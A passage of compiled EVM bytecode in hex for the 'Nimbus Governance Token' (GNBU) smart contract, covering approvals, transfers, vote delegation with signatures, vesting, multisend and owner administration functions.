43ff565b612af3565b61059761059236600461451e565b612f7e565b60405161031993929190614c6a565b6103c06105b4366004614378565b612ff9565b6103356105c736600461449e565b613192565b6103726105da366004614392565b613290565b6103726132d6565b6105fa6105f536600461451e565b6132fa565b604051610319929190614c91565b610372610616366004614378565b613335565b6103c0610629366004614378565b61361e565b6040518060400160405280601781526020017f4e696d62757320476f7665726e616e636520546f6b656e00000000000000000081525081565b60015460009074010000000000000000000000000000000000000000900460ff161561069257600080fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156106cf57506bffffffffffffffffffffffff6106f4565b6106f1836040518060600160405280602581526020016151ce602591396136de565b90505b33600081815260036020908152604080832073ffffffffffffffffffffffffffffffffffffffff891680855292529182902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061078e908590614cc3565b60405180910390a360019150505b92915050565b60096020526000908152604090205460ff1681565b6002546bffffffffffffffffffffffff1681565b600c5481565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b60015460009074010000000000000000000000000000000000000000900460ff161561082057600080fd5b73ffffffffffffffffffffffffffffffffffffffff841660009081526003602090815260408083203380855290835281842054825160608101909352602580845291946bffffffffffffffffffffffff9091169390926108889288926151ce908301396136de565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156108d457506bffffffffffffffffffffffff82811614155b156109a85760006108fe83836040518060600160405280603d8152602001614feb603d9139613730565b73ffffffffffffffffffffffffffffffffffffffff8981166000818152600360209081526040808320948a16808452949091529081902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff86161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061099e908590614cc3565b60405180910390a3505b6109b387878361379e565b5060019695505050505050565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600460205260409020546bffffffffffffffffffffffff165b919050565b3360009081526009602052604090205460ff16610a4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614903565b60405180910390fd5b6000610a708260405180606001604052806022815260200161532d602291396136de565b9050610a7c8382613a05565b505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60005473ffffffffffffffffffffffffffffffffffffffff163314610afb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b60015474010000000000000000000000000000000000000000900460ff16610b2257600080fd5b600180547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff1690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600d6020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b60015474010000000000000000000000000000000000000000900460ff1615610bc557600080fd5b610bcf3382613bff565b50565b60015474010000000000000000000000000000000000000000900460ff1681565b6000805473ffffffffffffffffffffffffffffffffffffffff163314610c45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b6000610c69836040518060600160405280602881526020016150f9602891396136de565b6000805473ffffffffffffffffffffffffffffffffffffffff168152600460205260409020549091506bffffffffffffffffffffffff9081169082161115610cb057600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff16815260046020908152604091829020548251606081019093526031808452610d0d936bffffffffffffffffffffffff909216928592919061519d90830139613730565b6000805473ffffffffffffffffffffffffffffffffffffffff1681526004602090815260409182902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff9485161790556002548251606081019093526036808452610d98949190911692859290919061527990830139613730565b600280547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff929092169190911790556000805460405173ffffffffffffffffffffffffffffffffffffffff909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e22908590614cc3565b60405180910390a350600192915050565b600f6020526000908152604090205463ffffffff1681565b73ffffffffffffffffffffffffffffffffffffffff811660009081526004602090815260408083205460059092528220546bffffffffffffffffffffffff9091169063ffffffff16610eac576bffffffffffffffffffffffff1690506109f5565b60015b73ffffffffffffffffffffffffffffffffffffffff841660009081526005602052604090205463ffffffff90811690821611610fc05773ffffffffffffffffffffffffffffffffffffffff8416600081815260066020908152604080832063ffffffff86168085529083528184205494845260078352818420908452825280832054815160608101909252602e8083529394610f68946bffffffffffffffffffffffff918216949290911692916150cb90830139613730565b9050610faa83826040518060400160405280601981526020017f474e42553a3a62616c616e63654f663a206f766572666c6f7700000000000000815250613cb3565b9250508080610fb890614ef5565b915050610eaf565b506bffffffffffffffffffffffff1692915050565b73ffffffffffffffffffffffffffffffffffffffff1660009081526005602052604090205463ffffffff1690565b600043821061103e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a439061483a565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600f602052604090205463ffffffff168061107957600091505061079c565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600e6020526040812084916110ab600185614e3d565b63ffffffff908116825260208201929092526040016000205416116111315773ffffffffffffffffffffffffffffffffffffffff84166000908152600e60205260408120906110fb600184614e3d565b63ffffffff16815260208101919091526040016000205464010000000090046bffffffffffffffffffffffff16915061079c9050565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600e6020908152604080832083805290915290205463ffffffff1683101561117957600091505061079c565b600080611187600184614e3d565b90505b8163ffffffff168163ffffffff16111561126c57600060026111ac8484614e3d565b6111b69190614db0565b6111c09083614e3d565b73ffffffffffffffffffffffffffffffffffffffff88166000908152600e6020908152604080832063ffffffff8581168552908352928190208151808301909252549283168082526401000000009093046bffffffffffffffffffffffff16918101919091529192508714156112405760200151945061079c9350505050565b805163ffffffff1687111561125757819350611265565b611262600183614e3d565b92505b505061118a565b5073ffffffffffffffffffffffffffffffffffffffff85166000908152600e6020908152604080832063ffffffff909416835292905220546bffffffffffffffffffffffff6401000000009091041691505092915050565b60015473ffffffffffffffffffffffffffffffffffffffff1633146112e857600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff90811680835260046020526040909220546001546bffffffffffffffffffffffff90911692611333929091168361379e565b6001546000805460405173ffffffffffffffffffffffffffffffffffffffff93841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35060018054600080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b60106020526000908152604090205481565b60005473ffffffffffffffffffffffffffffffffffffffff16331461142d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b60015474010000000000000000000000000000000000000000900460ff161561145557600080fd5b600180547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16740100000000000000000000000000000000000000001790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f474e42550000000000000000000000000000000000000000000000000000000081525081565b60015460009074010000000000000000000000000000000000000000900460ff161561153f57600080fd5b3360009081526005602052604090205463ffffffff1661158b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614ae5565b60015b3360009081526005602052604090205463ffffffff908116908216116118355733600081815260076020908152604080832063ffffffff861680855290835281842054948452600683528184209084529091529020546bffffffffffffffffffffffff9081169116141561160157611823565b33600090815260086020908152604080832063ffffffff8516845290915290205442101561162e57611835565b600a5433600090815260086020908152604080832063ffffffff8616845290915281205490916c0100000000000000000000000090046bffffffffffffffffffffffff16906116b5906116819042614e26565b33600090815260066020908152604080832063ffffffff891684529091529020546bffffffffffffffffffffffff16613d24565b6116bf9190614dd3565b33600090815260066020908152604080832063ffffffff871684529091529020549091506bffffffffffffffffffffffff908116908216111561172d575033600090815260066020908152604080832063ffffffff851684529091529020546bffffffffffffffffffffffff165b33600090815260076020908152604080832063ffffffff8616845282529182902054825160608101909352603680845284936117819385936bffffffffffffffffffffffff169290614fb590830139613730565b91506117c384836040518060400160405280601d81526020017f474e42553a3a756e766573743a20616464696e67206f766572666c6f77000000815250613cb3565b33600090815260076020908152604080832063ffffffff88168452909152902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff93909316929092179091559250505b8061182d81614ef5565b91505061158e565b5033600090815260046020908152604091829020548251808401909352601d83527f474e42553a3a756e766573743a20616464696e67206f766572666c6f770000009183019190915261189a916bffffffffffffffffffffffff909116908390613cb3565b336000818152600460205260409081902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff949094169390931790925590517ffa5db7be915522c6b65b302ca1c4bfbfd4f0d898d50af75e513796dc44aee52b916119169184906146c0565b60405180910390a190565b60005473ffffffffffffffffffffffffffffffffffffffff163314611972576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b73ffffffffffffffffffffffffffffffffffffffff91909116600090815260096020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b60015460009074010000000000000000000000000000000000000000900460ff16156119f357600080fd5b6000611a1783604051806060016040528060268152602001615121602691396136de565b9050611a2433858361379e565b5060019392505050565b6000805473ffffffffffffffffffffffffffffffffffffffff163314611a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b8151835114611a8e57600080fd5b6064835110611a9c57600080fd5b6000805b8351811015611b0957838181518110611ae2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015182611af59190614d49565b915080611b0181614ebc565b915050611aa0565b506000611b2e82604051806060016040528060268152602001615121602691396136de565b6000805473ffffffffffffffffffffffffffffffffffffffff16815260046020908152604091829020548251606081019093526036808452939450611b8f936bffffffffffffffffffffffff9091169285929091906152af90830139613730565b6000805473ffffffffffffffffffffffffffffffffffffffff16815260046020526040812080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff93909316929092179091555b8551811015611eb857611cf460046000888481518110611c3a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16868381518110611cce577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516040518060600160405280603681526020016152af60369139613cb3565b60046000888481518110611d31577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550858181518110611dda577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef878481518110611e89577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151604051611e9e91906146ff565b60405180910390a380611eb081614ebc565b915050611bf1565b505092519392505050565b6000805473ffffffffffffffffffffffffffffffffffffffff168152600460205260408120546bffffffffffffffffffffffff16815b600b54811015611fb957611fa58260046000600b8581548110611f45577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff16835282810193909352604091820190205481516060810190925260268083526bffffffffffffffffffffffff909116926151f390830139613cb3565b915080611fb181614ebc565b915050611ef9565b5060025460408051606081019091526030808252611fef926bffffffffffffffffffffffff169184916150286020830139613730565b6bffffffffffffffffffffffff1691505090565b60005473ffffffffffffffffffffffffffffffffffffffff163314612054576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b600b805461206490600190614e26565b8154811061209b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260209091200154600b805473ffffffffffffffffffffffffffffffffffffffff90921691839081106120fb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b80548061217b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b60008281526020812082017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055909101909155600c8054916121e483614e87565b919050555050565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600f602052604081205463ffffffff1680612224576000612283565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600e6020526040812090612255600184614e3d565b63ffffffff16815260208101919091526040016000205464010000000090046bffffffffffffffffffffffff165b9392505050565b600b818154811061229a57600080fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b60015474010000000000000000000000000000000000000000900460ff16156122e957600080fd5b60408051808201909152601781527f4e696d62757320476f7665726e616e636520546f6b656e00000000000000000060209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667fdedc3a41841d54a0c22d8c6d98aba038f54aa37f881e54f102160c5b828fed1c61236a613dd4565b3060405160200161237e949392919061477a565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf8888886040516020016123cf9493929190614749565b604051602081830303815290604052805190602001209050600082826040516020016123fc929190614643565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161243994939291906147ab565b6020604051602081039080840390855afa15801561245b573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff81166124d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614bd6565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260106020526040812080549161250483614ebc565b919050558914612540576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614b79565b8742111561257a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614a51565b612584818b613bff565b505050505b505050505050565b6000805473ffffffffffffffffffffffffffffffffffffffff1633146125e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b81518351146125f157600080fd5b60648351106125ff57600080fd5b6000805b835181101561266c57838181518110612645577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151826126589190614d49565b91508061266481614ebc565b915050612603565b50600061269182604051806060016040528060278152602001615058602791396136de565b6000805473ffffffffffffffffffffffffffffffffffffffff168152600460209081526040918290205482516060810190935260308084529394506126f2936bffffffffffffffffffffffff90911692859290919061521990830139613730565b6000805473ffffffffffffffffffffffffffffffffffffffff16815260046020526040812080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff93909316929092179091555b8551811015611eb85760006005600088848151811061279c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081819054906101000a900463ffffffff166127fa90614ef5565b91906101000a81548163ffffffff021916908363ffffffff16021790559050858281518110612852577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015160066000898581518110612897577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff168252818101929092526040908101600090812063ffffffff86168252909252902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff928316179055600a5461291f911642614d49565b6008600089858151811061295c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff168152602001908152602001600020819055508682815181106129f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef888581518110612aa7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151604051612abc91906146ff565b60405180910390a35080612acf81614ebc565b915050612754565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60015474010000000000000000000000000000000000000000900460ff1615612b1b57600080fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff861415612b5857506bffffffffffffffffffffffff612b7d565b612b7a866040518060600160405280602481526020016150a7602491396136de565b90505b60408051808201909152601781527f4e696d62757320476f7665726e616e636520546f6b656e00000000000000000060209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667fdedc3a41841d54a0c22d8c6d98aba038f54aa37f881e54f102160c5b828fed1c612bfe613dd4565b30604051602001612c12949392919061477a565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0818403018152918152815160209283012073ffffffffffffffffffffffffffffffffffffffff8c166000908152601090935290822080549193507f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918c918c918c9186612ca383614ebc565b919050558b604051602001612cbd96959493929190614708565b60405160208183030381529060405280519060200120905060008282604051602001612cea929190614643565b604051602081830303815290604052805190602001209050600060018289898960405160008152602001604052604051612d2794939291906147ab565b6020604051602081039080840390855afa158015612d49573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116612dc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614aae565b8b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614612e26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a43906148cc565b88421115612e60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614c33565b84600360008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508a73ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051612f689190614cc3565b60405180910390a3505050505050505050505050565b73ffffffffffffffffffffffffffffffffffffffff909116600081815260066020908152604080832063ffffffff909516808452948252808320548484526007835281842086855283528184205494845260088352818420958452949091529020546bffffffffffffffffffffffff92831693919092169190565b60005473ffffffffffffffffffffffffffffffffffffffff16331461304a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b60005b600b54811015613114578173ffffffffffffffffffffffffffffffffffffffff16600b82815481106130a8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff161415613102576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a439061493a565b8061310c81614ebc565b91505061304d565b50600b805460018101825560009182527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8416179055600c8054916121e483614ebc565b6000805473ffffffffffffffffffffffffffffffffffffffff1633146131e4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b6000546040517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8581169263a9059cbb9261323e9290911690869060040161469a565b602060405180830381600087803b15801561325857600080fd5b505af115801561326c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612283919061460f565b73ffffffffffffffffffffffffffffffffffffffff91821660009081526003602090815260408083209390941682529190915220546bffffffffffffffffffffffff1690565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600e60209081526000928352604080842090915290825290205463ffffffff81169064010000000090046bffffffffffffffffffffffff1682565b73ffffffffffffffffffffffffffffffffffffffff811660009081526005602052604081205463ffffffff1661336d575060006109f5565b60015b73ffffffffffffffffffffffffffffffffffffffff831660009081526005602052604090205463ffffffff908116908216116136185773ffffffffffffffffffffffffffffffffffffffff8316600081815260076020908152604080832063ffffffff861680855290835281842054948452600683528184209084529091529020546bffffffffffffffffffffffff9081169116141561340f57613606565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260086020908152604080832063ffffffff8516845290915290205442101561345257613618565b600a5473ffffffffffffffffffffffffffffffffffffffff8416600090815260086020908152604080832063ffffffff8616845290915281205490916c0100000000000000000000000090046bffffffffffffffffffffffff1690613505906134bb9042614e26565b73ffffffffffffffffffffffffffffffffffffffff8716600090815260066020908152604080832063ffffffff891684529091529020546bffffffffffffffffffffffff16613d24565b61350f9190614dd3565b73ffffffffffffffffffffffffffffffffffffffff8516600090815260066020908152604080832063ffffffff871684529091529020546bffffffffffffffffffffffff9182169250168111156135a7575073ffffffffffffffffffffffffffffffffffffffff8316600090815260066020908152604080832063ffffffff851684529091529020546bffffffffffffffffffffffff165b73ffffffffffffffffffffffffffffffffffffffff8416600090815260076020908152604080832063ffffffff861684529091529020546135f6906bffffffffffffffffffffffff1682614e26565b90506136028184614d49565b9250505b8061361081614ef5565b915050613370565b50919050565b60005473ffffffffffffffffffffffffffffffffffffffff16331461366f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b60015473ffffffffffffffffffffffffffffffffffffffff8281169116141561369757600080fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6000816c010000000000000000000000008410613728576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4391906147c9565b509192915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff161115829061378b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4391906147c9565b506137968385614e62565b949350505050565b73ffffffffffffffffffffffffffffffffffffffff83166137eb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a43906149f4565b73ffffffffffffffffffffffffffffffffffffffff8216613838576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614997565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260046020908152604091829020548251606081019093526036808452613895936bffffffffffffffffffffffff90921692859291906152af90830139613730565b73ffffffffffffffffffffffffffffffffffffffff848116600090815260046020908152604080832080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff968716179055928616825290829020548251606081019093526030808452613927949190911692859290919061524990830139613cb3565b73ffffffffffffffffffffffffffffffffffffffff8381166000818152600460205260409081902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff95909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906139be908590614cc3565b60405180910390a373ffffffffffffffffffffffffffffffffffffffff8084166000908152600d6020526040808220548584168352912054610a7c92918216911683613dd8565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260056020526040812080548290613a3d9063ffffffff16614ef5565b825463ffffffff8083166101009490940a8481029102199091161790925573ffffffffffffffffffffffffffffffffffffffff851660009081526006602090815260408083209383529290522080546bffffffffffffffffffffffff8086167fffffffffffffffffffffffffffffffffffffffff00000000000000000000000090921691909117909155600a54919250613ad8911642614d49565b73ffffffffffffffffffffffffffffffffffffffff808516600090815260086020908152604080832063ffffffff871684528252808320949094558154909216815260048252829020548251606081019093526022808452613b55936bffffffffffffffffffffffff909216928692919061514790830139613730565b6000805473ffffffffffffffffffffffffffffffffffffffff90811682526004602052604080832080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff95909516949094179093559054915185821692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90613bf2908690614cc3565b60405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff8083166000818152600d6020818152604080842080546004845282862054949093528787167fffffffffffffffffffffffff000000000000000000000000000000000000000084168117909155905191909516946bffffffffffffffffffffffff9092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4613cad828483613dd8565b50505050565b600080613cc08486614d89565b9050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff1610158390613d1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4391906147c9565b50949350505050565b600080613d49846040518060600160405280602181526020016152e5602191396136de565b90506bffffffffffffffffffffffff8116613d6857600091505061079c565b6000613d748483614df2565b90506bffffffffffffffffffffffff8416613d8f8383614dd3565b6bffffffffffffffffffffffff1614613796576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614b1c565b4690565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015613e2257506000816bffffffffffffffffffffffff16115b15610a7c5773ffffffffffffffffffffffffffffffffffffffff831615613f145773ffffffffffffffffffffffffffffffffffffffff83166000908152600f602052604081205463ffffffff169081613e7c576000613edb565b73ffffffffffffffffffffffffffffffffffffffff85166000908152600e6020526040812090613ead600185614e3d565b63ffffffff16815260208101919091526040016000205464010000000090046bffffffffffffffffffffffff165b90506000613f02828560405180606001604052806028815260200161507f60289139613730565b9050613f1086848484613ff9565b5050505b73ffffffffffffffffffffffffffffffffffffffff821615610a7c5773ffffffffffffffffffffffffffffffffffffffff82166000908152600f602052604081205463ffffffff169081613f69576000613fc8565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600e6020526040812090613f9a600185614e3d565b63ffffffff16815260208101919091526040016000205464010000000090046bffffffffffffffffffffffff165b90506000613fef828560405180606001604052806027815260200161530660279139613cb3565b9050612589858484845b600061401d4360405180606001604052806034815260200161516960349139614295565b905060008463ffffffff16118015614084575073ffffffffffffffffffffffffffffffffffffffff85166000908152600e6020526040812063ffffffff831691614068600188614e3d565b63ffffffff908116825260208201929092526040016000205416145b1561411a5773ffffffffffffffffffffffffffffffffffffffff85166000908152600e6020526040812083916140bb600188614e3d565b63ffffffff168152602081019190915260400160002080546bffffffffffffffffffffffff92909216640100000000027fffffffffffffffffffffffffffffffff000000000000000000000000ffffffff90921691909117905561423e565b60408051808201825263ffffffff83811682526bffffffffffffffffffffffff858116602080850191825273ffffffffffffffffffffffffffffffffffffffff8b166000908152600e82528681208b86168252909152949094209251835494517fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000009095169216919091177fffffffffffffffffffffffffffffffff000000000000000000000000ffffffff1664010000000093909116929092029190911790556141e5846001614d61565b73ffffffffffffffffffffffffffffffffffffffff86166000908152600f6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000001663ffffffff929092169190911790555b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051614286929190614cdc565b60405180910390a25050505050565b6000816401000000008410613728576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4391906147c9565b803573ffffffffffffffffffffffffffffffffffffffff811681146109f557600080fd5b600082601f83011261430b578081fd5b8135602061432061431b83614d25565b614cfb565b828152818101908583018385028701840188101561433c578586fd5b855b8581101561435a5781358452928401929084019060010161433e565b5090979650505050505050565b803560ff811681146109f557600080fd5b600060208284031215614389578081fd5b612283826142d7565b600080604083850312156143a4578081fd5b6143ad836142d7565b91506143bb602084016142d7565b90509250929050565b6000806000606084860312156143d8578081fd5b6143e1846142d7565b92506143ef602085016142d7565b9150604084013590509250925092565b600080600080600080600060e0888a031215614419578283fd5b614422886142d7565b9650614430602089016142d7565b9550604088013594506060880135935061444c60808901614367565b925060a0880135915060c0880135905092959891949750929550565b6000806040838503121561447a578182fd5b614483836142d7565b9150602083013561449381614fa6565b809150509250929050565b600080604083850312156144b0578182fd5b6144b9836142d7565b946020939093013593505050565b60008060008060008060c087890312156144df578182fd5b6144e8876142d7565b9550602087013594506040870135935061450460608801614367565b92506080870135915060a087013590509295509295509295565b60008060408385031215614530578182fd5b614539836142d7565b9150602083013563ffffffff81168114614493578182fd5b60008060408385031215614563578182fd5b823567ffffffffffffffff8082111561457a578384fd5b818501915085601f83011261458d578384fd5b8135602061459d61431b83614d25565b82815281810190858301838502870184018b10156145b9578889fd5b8896505b848710156145e2576145ce816142d7565b8352600196909601959183019183016145bd565b50965050860135925050808211156145f8578283fd5b50614605858286016142fb565b9150509250929050565b600060208284031215614620578081fd5b815161228381614fa6565b60006020828403121561463c578081fd5b5035919050565b7f190100000000000000000000000000000000000000000000000000000000000081526002810192909252602282015260420190565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff9290921682526bffffffffffffffffffffffff16602082015260400190565b901515815260200190565b90815260200190565b95865273ffffffffffffffffffffffffffffffffffffffff94851660208701529290931660408501526060840152608083019190915260a082015260c00190565b93845273ffffffffffffffffffffffffffffffffffffffff9290921660208401526040830152606082015260800190565b9384526020840192909252604083015273ffffffffffffffffffffffffffffffffffffffff16606082015260800190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b818110156147f5578581018301518582016040015282016147d9565b818111156148065783604083870101525b506